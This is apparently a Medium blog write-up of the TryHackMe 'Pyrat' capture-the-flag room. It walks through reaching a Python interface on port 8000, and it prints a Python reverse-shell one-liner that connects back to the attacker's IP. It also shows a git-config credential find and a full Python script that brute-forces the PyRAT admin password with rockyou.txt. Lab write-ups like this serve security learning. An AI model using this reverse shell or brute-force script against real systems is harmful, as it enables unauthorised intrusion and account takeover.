← Back to list

Pyrat — TryHackMe

Helloo! Here is my process with Pyrat from TryHackMe.

Shao Ray! · 2026-01-18 01:50 · 0 claps · 4.7 min read
#boot2root #python #github #fuzzing #brute-force
Open on Medium ↗
Wiki topics: 🔓 · Open Source

Pyrat — TryHackMe

Helloo! Here is my process with Pyrat from TryHackMe.

Prompt:

Pyrat receives a curious response from an HTTP server, which leads to a potential Python code execution vulnerability. With a cleverly crafted payload, it is possible to gain a shell on the machine. Delving into the directories, the author uncovers a well-known folder that provides a user with access to credentials. A subsequent exploration yields valuable insights into the application’s older version. Exploring possible endpoints using a custom script, the user can discover a special endpoint and ingeniously expand their exploration by fuzzing passwords. The script unveils a password, ultimately granting access to the root.

Finding the “Python code execution vulnerability”

From the prompt: Pyrat receives a curious response from an HTTP server, which leads to a potential Python code execution vulnerability.

Our nmap scan reveals: open ports 22 and 8000

Port 8000 is commonly used by developers and system administrators as an alternative HTTP port for testing.

When we connect to port 8000, we get a http webpage:

“a more basic connection” could be referring to netcat. After playing around, we discover nc 10.49.137.22 8000 is a python interface.

Establishing a reverse shell

From the prompt: “With a cleverly crafted payload, it is possible to gain a shell on the machine”

We want to create a reverse shell on this target’s python interface to connect back to our computer.

We first set up a listener on our computer, then run the reverse shell on the target’s python interface.

I got my commands from this link:

[embed]Reverse Shell Discover what to know about reverse shells, including what they are, how they relate to application security, and…www.invicti.com

On our computer:

nc -lvnp 1337

On the target’s python interface:

import socket,subprocess,os; s=socket.socket(socket.AF_INET,socket.SOCK_STREAM); s.connect(("192.168.152.80",1337)); os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2); p=subprocess.call(["/bin/sh","-i"]);

Our computer gets a response from the target’s python interface

Our computer gets a response from the target’s python interface

Finding credentials

Delving into the directories, the author uncovers a well-known folder that provides a user with access to credentials.

Run this command to spawn an interactive bash shell. Makes things easier for us.

python3 -c 'import pty; pty.spawn("/bin/bash")'

A few folders I searched but found nothing/permission denied are: /home/think /home/ubuntu /tmp /usr /var/backups /var/cache /var/log

But finally found info in /var/mail:

This seems to hint towards a Github page, a possibly a .git folder. I use the following command to search for the .git folder.

find / -name ".git" 2>/dev/null

It’s always good to look within a config file! And there we struck gold!

username = think
password = _TH1NKINGPirate$_

Finding the older version

From the prompt: A subsequent exploration yields valuable insights into the application’s older version.

Using the username and password, we ssh into think and get the flag.

Navigating to the /opt/dev folder which contains .git, we run git status and realise that an old file has been deleted. If we can get this old version, we would’ve solved the prompt.

This change has not been committed, so we need to unstage it.

git restore pyrat.py.old

We get this script, but it seems to be unfinished. Following the github josemlwdf from above, we find this page:

[embed]GitHub - josemlwdf/PyRAT: PyRAT is a powerful CTF (Capture The Flag) rootkit designed to be used in… PyRAT is a powerful CTF (Capture The Flag) rootkit designed to be used in cybersecurity competitions and educational…github.com

Following the Usage instructions from the github, we need to:

  1. Run Pyrat script on target
  2. Connect to the target using netcat on our attacker
  3. Find admin password

From the prompt: Exploring possible endpoints using a custom script, the user can discover a special endpoint and ingeniously expand their exploration by fuzzing passwords.

✔️ 1. The pyrat script is running on the target ✔️ 2. Connect to the target using netcat on our attacker ❌ 3. Find admin password

Script to fuzz passwords:

"""
PyRAT Password Fuzzer
Connects to PyRAT server and brute-forces the admin password using rockyou.txt
"""

import socket
import sys
import time

def connect_and_fuzz(host, port, wordlist_path):
    """
    host: Target IP address
    port: Target port
    wordlist_path: Path to password wordlist (e.g., rockyou.txt)
    """

    try:
        with open(wordlist_path, 'r', encoding='latin-1') as f:
            passwords = f.readlines()
    except FileNotFoundError:
        print(f"[-] Error: Wordlist not found at {wordlist_path}")
        sys.exit(1)

    print(f"[*] Loaded passwords from {wordlist_path}")
    print(f"[*] Target: {host}:{port}")
    print("[*] Starting brute-force attack...\n")

    attempt = 0

    for password in passwords:
        password = password.strip()

        if not password:
            continue

        attempt += 1

        # Create new connection for each attempt (PyRAT limits to 3 attempts per connection)
        sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        sock.settimeout(1)
        sock.connect((host, port))

        # Send 'admin' command
        sock.sendall(b'admin\n')

        # Receive "Password:" prompt
        response = sock.recv(1024).decode('utf-8', errors='ignore')

        # Send password to server
        sock.sendall((password + '\n').encode())

        # Get response for first password attempt
        response = sock.recv(1024).decode('utf-8', errors='ignore')

        # If server asks for next password, start new connection  
        if 'Password' in response:
            print(f"Attempting password: {password}")
            print("[-] Not the right password\n")
            sock.close() 
            continue

        # Check for success
        elif 'Welcome Admin' in response or 'shell' in response.lower():
            print(f"\n[+] SUCCESS! Password found: {password}")
            print(f"[+] Attempts: {attempt}")
            break
            sock.close()

        # No response
        else:
            print("[-] Unexpected response")
            sock.close()
            continue

# Run the script
connect_and_fuzz('10.49.146.61', 8000, '/usr/share/wordlists/rockyou.txt')

Output of script:

Using newfound password, we get our way into admin and find root.txt.

Thank you!


메타데이터
post_id
0be3b359e97f
slug
pyrat-tryhackme-0be3b359e97f
url
https://medium.com/@neoshaoray/pyrat-tryhackme-0be3b359e97f
canonical_url
https://medium.com/@neoshaoray/pyrat-tryhackme-0be3b359e97f
author_url
https://medium.com/@neoshaoray
status
ok
fetched_at
2026-07-14 20:36:01